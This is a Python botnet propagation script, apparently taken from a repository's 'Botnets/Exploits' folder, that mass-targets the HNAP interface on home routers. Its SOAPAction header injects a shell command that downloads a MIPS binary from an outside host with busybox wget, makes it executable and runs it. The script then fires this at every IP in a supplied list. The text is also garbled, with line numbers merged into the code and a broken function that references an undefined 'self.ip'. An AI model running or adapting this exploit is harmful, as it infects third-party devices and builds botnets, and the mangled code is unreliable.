Path: blob/master/Botnets/Exploits/HNAP UPNP/hnap.py
5038 views
#! python !#1import threading, sys, time, random, socket, re, os, requests2from Queue import *3from sys import stdout4from threading import Thread567ips = open(sys.argv[1], "r").readlines()8queue = Queue()9queue_count = 010payload = "<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body><AddPortMapping xmlns=\"http://purenetworks.com/HNAP1/\"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>"11headerlist = {'SOAPAction': 'http://purenetworks.com/HNAP1/GetDeviceSettings/`cd /tmp; busybox wget http://1.1.1.1/bins/mips; chmod 777 mips; ./mips hnap.exploit`'}1213def hnap(host):14try:15print "Loading " + self.ip16url = "http://" + self.ip + /HNAP1"17requests.post(url, timeout=5, headers=headerlist, data=payload)1819except:20pass21return2223def main():24global queue_count25for line in ips:26line = line.strip("\r")27line = line.strip("\n")28queue_count += 129sys.stdout.write("\r[%d] Added to queue" % (queue_count))30sys.stdout.flush()31queue.put(line)32sys.stdout.write("\n")33i = 034while i != queue_count:35i += 136try:37input = queue.get()38thread = Thread(target=hnap, args=(input,))39thread.start()40except KeyboardInterrupt:41sys.exit("Interrupted? (ctrl + c)")42thread.join()43return4445if __name__ == "__main__":46main()4748